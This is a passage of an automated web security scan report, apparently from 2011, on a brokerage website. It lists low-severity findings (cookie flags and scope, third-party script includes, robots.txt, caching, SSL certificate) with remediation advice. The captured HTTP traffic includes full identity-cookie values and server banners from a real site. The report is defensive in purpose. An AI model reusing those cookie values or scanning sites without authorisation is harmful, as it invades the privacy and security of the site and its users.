SMIDENTITY=jLP3XoAxGsv1v6MwPZhahlP/aoO3xH/srhMcrJj795J+eDNFXiPfjzck1kD4CBi+6ie4KrwamlTHaXTZUdECRzrFky9gNvwqK2gfsTdEDm7sAur5XVP4PPYin3ZpmEGZhp4U9tI/R2PBhf10C0GUszchafmuD9bl4ok1Tou4xpWvp8+gJofMVxln5UHKDCa81PkeNNVr9tnGgUbb8xfUqJ9mQ+4UmQUBAvTOqlILImkN5L5gXWD34cRgwFSZ2KnJ3H2WELiFxhYRFU/W8/5hb7Ab0vdhSiKgU1mzlw6G++AaFuJs+7z65oKRdeBCqK0hIz3tim19s96RERtkf9rfjHj+6RDI79fjrabVGOlnraDPyBxJbqaBTLfWCRw+ylCtGUKvwL6+os3qLez4GsDok2Qd+n4qvsQdjjUilaWTMSP27nak6lbRwCk4b/M4No0d4wzcrSvMyENoATzMp8aftIfSjmRgRvGUNASAKrTSpR5rfw6e36o6v3gAJa9Ivvp8bVC7cNorr2VzTikkqJI1i1lWvbV9SNzGVXk61fudxdZpjJjPAMIp9cah6rKP6ckESa6k8l1TR7oiXNRlH9EEi7eiYAWvwxgHlp0pcxiP0RMD9/1rRGHkXk3lzz8V7861; path=/; domain=.merrilledge.com
pxs=341ce30bc7594740a1c8d88f714e0605; domain=.merrilledge.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

Response

4. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

SMIDENTITY=jLP3XoAxGsv1v6MwPZhahlP/aoO3xH/srhMcrJj795J+eDNFXiPfjzck1kD4CBi+6ie4KrwamlTHaXTZUdECRzrFky9gNvwqK2gfsTdEDm7sAur5XVP4PPYin3ZpmEGZhp4U9tI/R2PBhf10C0GUszchafmuD9bl4ok1Tou4xpWvp8+gJofMVxln5UHKDCa81PkeNNVr9tnGgUbb8xfUqJ9mQ+4UmQUBAvTOqlILImkN5L5gXWD34cRgwFSZ2KnJ3H2WELiFxhYRFU/W8/5hb7Ab0vdhSiKgU1mzlw6G++AaFuJs+7z65oKRdeBCqK0hIz3tim19s96RERtkf9rfjHj+6RDI79fjrabVGOlnraDPyBxJbqaBTLfWCRw+ylCtGUKvwL6+os3qLez4GsDok2Qd+n4qvsQdjjUilaWTMSP27nak6lbRwCk4b/M4No0d4wzcrSvMyENoATzMp8aftIfSjmRgRvGUNASAKrTSpR5rfw6e36o6v3gAJa9Ivvp8bVC7cNorr2VzTikkqJI1i1lWvbV9SNzGVXk61fudxdZpjJjPAMIp9cah6rKP6ckESa6k8l1TR7oiXNRlH9EEi7eiYAWvwxgHlp0pcxiP0RMD9/1rRGHkXk3lzz8V7861; path=/; domain=.merrilledge.com
pxs=341ce30bc7594740a1c8d88f714e0605; domain=.merrilledge.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

Response

5. Cross-domain script include previous next
There are 3 instances of this issue:

http://www.merrilledge.com/m/pages/global-oao.aspx
https://www.merrilledge.com/m/pages/global-oao.aspx
https://www.merrilledge.com/m/pages/home.aspx

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

5.1. http://www.merrilledge.com/m/pages/global-oao.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.bankofamerica.com/coremetrics/cmdatatagutils.js
http://www.bankofamerica.com/coremetrics/v40/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:28:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/v40/eluminate.js"></script>
<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/cmdatatagutils.js"></script>
...[SNIP]...

5.2. https://www.merrilledge.com/m/pages/global-oao.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://www.bankofamerica.com/coremetrics/cmdatatagutils.js
https://www.bankofamerica.com/coremetrics/v40/eluminate.js

Request

Response

HTTP/1.1 301 Moved Permanently
Date: Tue, 26 Apr 2011 12:28:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://www.merrilledge.com/m/pages/global-oao.aspx
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/v40/eluminate.js"></script>
<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/cmdatatagutils.js"></script>
...[SNIP]...

5.3. https://www.merrilledge.com/m/pages/home.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://secure.polldaddy.com/p/4817479.js
https://www.bankofamerica.com/coremetrics/cmdatatagutils.js
https://www.bankofamerica.com/coremetrics/v40/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:27:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
set-cookie: SMIDENTITY=jLP3XoAxGsv1v6MwPZhahlP/aoO3xH/srhMcrJj795J+eDNFXiPfjzck1kD4CBi+6ie4KrwamlTHaXTZUdECRzrFky9gNvwqK2gfsTdEDm7sAur5XVP4PPYin3ZpmEGZhp4U9tI/R2PBhf10C0GUszchafmuD9bl4ok1Tou4xpWvp8+gJofMVxln5UHKDCa81PkeNNVr9tnGgUbb8xfUqJ9mQ+4UmQUBAvTOqlILImkN5L5gXWD34cRgwFSZ2KnJ3H2WELiFxhYRFU/W8/5hb7Ab0vdhSiKgU1mzlw6G++AaFuJs+7z65oKRdeBCqK0hIz3tim19s96RERtkf9rfjHj+6RDI79fjrabVGOlnraDPyBxJbqaBTLfWCRw+ylCtGUKvwL6+os3qLez4GsDok2Qd+n4qvsQdjjUilaWTMSP27nak6lbRwCk4b/M4No0d4wzcrSvMyENoATzMp8aftIfSjmRgRvGUNASAKrTSpR5rfw6e36o6v3gAJa9Ivvp8bVC7cNorr2VzTikkqJI1i1lWvbV9SNzGVXk61fudxdZpjJjPAMIp9cah6rKP6ckESa6k8l1TR7oiXNRlH9EEi7eiYAWvwxgHlp0pcxiP0RMD9/1rRGHkXk3lzz8V7861; path=/; domain=.merrilledge.com
X-AspNet-Version: 2.0.50727
Set-Cookie: pxs=341ce30bc7594740a1c8d88f714e0605; domain=.merrilledge.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 107200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/v40/eluminate.js"></script>
<script language="javascript" type="text/javascript" src="//www.bankofamerica.com/coremetrics/cmdatatagutils.js"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SMIDENTITY=jLP3XoAxGsv1v6MwPZhahlP/aoO3xH/srhMcrJj795J+eDNFXiPfjzck1kD4CBi+6ie4KrwamlTHaXTZUdECRzrFky9gNvwqK2gfsTdEDm7sAur5XVP4PPYin3ZpmEGZhp4U9tI/R2PBhf10C0GUszchafmuD9bl4ok1Tou4xpWvp8+gJofMVxln5UHKDCa81PkeNNVr9tnGgUbb8xfUqJ9mQ+4UmQUBAvTOqlILImkN5L5gXWD34cRgwFSZ2KnJ3H2WELiFxhYRFU/W8/5hb7Ab0vdhSiKgU1mzlw6G++AaFuJs+7z65oKRdeBCqK0hIz3tim19s96RERtkf9rfjHj+6RDI79fjrabVGOlnraDPyBxJbqaBTLfWCRw+ylCtGUKvwL6+os3qLez4GsDok2Qd+n4qvsQdjjUilaWTMSP27nak6lbRwCk4b/M4No0d4wzcrSvMyENoATzMp8aftIfSjmRgRvGUNASAKrTSpR5rfw6e36o6v3gAJa9Ivvp8bVC7cNorr2VzTikkqJI1i1lWvbV9SNzGVXk61fudxdZpjJjPAMIp9cah6rKP6ckESa6k8l1TR7oiXNRlH9EEi7eiYAWvwxgHlp0pcxiP0RMD9/1rRGHkXk3lzz8V7861; path=/; domain=.merrilledge.com
pxs=341ce30bc7594740a1c8d88f714e0605; domain=.merrilledge.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

7. Robots.txt file previous next
There are 2 instances of this issue:

http://www.merrilledge.com/m/pages/global-oao.aspx
https://www.merrilledge.com/m/pages/home.aspx

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

7.1. http://www.merrilledge.com/m/pages/global-oao.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.merrilledge.com

Response

HTTP/1.1 200 OK
Content-Length: 257
Content-Type: text/plain
Content-Location: http://www.merrilledge.com/publish/ose/tools/robots.txt
Last-Modified: Fri, 25 Jun 2010 15:58:09 GMT
Accept-Ranges: bytes
ETag: "807ed5347f14cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 26 Apr 2011 12:28:12 GMT
Connection: keep-alive

User-agent: *

Disallow: http://www.merrilledge.com/publish/ose/tools/akamai-sureroute-test-object.htm
Disallow: https://www.merrilledge.com/publish/ose/tools/akamai-sureroute-test-object.htm
Disa
...[SNIP]...

7.2. https://www.merrilledge.com/m/pages/home.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.merrilledge.com

Response

HTTP/1.1 200 OK
Content-Length: 257
Content-Type: text/plain
Content-Location: https://www.merrilledge.com/publish/ose/tools/robots.txt
Last-Modified: Fri, 25 Jun 2010 15:58:09 GMT
Accept-Ranges: bytes
ETag: "807ed5347f14cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 26 Apr 2011 12:27:04 GMT
Connection: keep-alive

User-agent: *

Disallow: http://www.merrilledge.com/publish/ose/tools/akamai-sureroute-test-object.htm
Disallow: https://www.merrilledge.com/publish/ose/tools/akamai-sureroute-test-object.htm
Disa
...[SNIP]...

8. Cacheable HTTPS response previous next
There are 3 instances of this issue:

/M/ScriptResource.axd
/m/pages/home.aspx
/publish/OSE/XML/MLTextChat.xml

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

8.1. https://www.merrilledge.com/M/ScriptResource.axd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/M/ScriptResource.axd

Request

GET /M/ScriptResource.axd?d=_kI4qTY5PPvpU_Knw6h5Z3M2RPx09RuzOFKaUSEo7ajyABYkk5fs1FNRciPZnrVDFC6LeTu3PfiOnaLl4dmTu0UXW9C7I5zgYgaZelx3t87aS6aRIue5-aBIQk2nslI9M_92htix-JgRBrRomqrN0sOVuQlVEidJ1NtciBBXyjiVijME0FBOb5Z3PqEWCrQm0&t=634339830749808664 HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
Referer: https://www.merrilledge.com/m/pages/home.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:27:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: public
Expires: Wed, 25 Apr 2012 06:00:54 GMT
Last-Modified: Tue, 22 Feb 2011 19:51:14 GMT
Content-Type: text/javasacript
Content-Length: 5666

...Type.registerNamespace('MerrillLynch.Application.ECMS.Service');
MerrillLynch.Application.ECMS.Service.ECMSContentService=function() {
MerrillLynch.Application.ECMS.Service.ECMSContentService.ini
...[SNIP]...

8.2. https://www.merrilledge.com/m/pages/home.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Request

Response

8.3. https://www.merrilledge.com/publish/OSE/XML/MLTextChat.xml previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/publish/OSE/XML/MLTextChat.xml

Request

GET /publish/OSE/XML/MLTextChat.xml HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
Referer: https://www.merrilledge.com/m/pages/home.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 200 OK
Content-Length: 4555
Content-Type: text/xml
Content-Location: https://www.merrilledge.com/publish/OSE/XML/MLTextChat.xml
Last-Modified: Thu, 19 Aug 2010 13:56:30 GMT
Accept-Ranges: bytes
ETag: "0bb253a63fcb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 26 Apr 2011 12:27:18 GMT

...<?xml version="1.0" encoding="utf-8" ?>
<Settings>
<Domain>.merrilledge.com</Domain>
<LivePersonUnit>MLDSales</LivePersonUnit>
<TestLpNumber>19026173</TestLpNumber> <!-- use for testing p
...[SNIP]...

9. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.merrilledge.com
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Thu May 13 19:00:00 CDT 2010
Valid to:	Sat May 14 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 19:00:00 CDT 2009
Valid to:	Sun Mar 24 18:59:59 CDT 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 19:00:00 CDT 1998
Valid to:	Tue Aug 01 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Tue Apr 26 09:27:05 CDT 2011.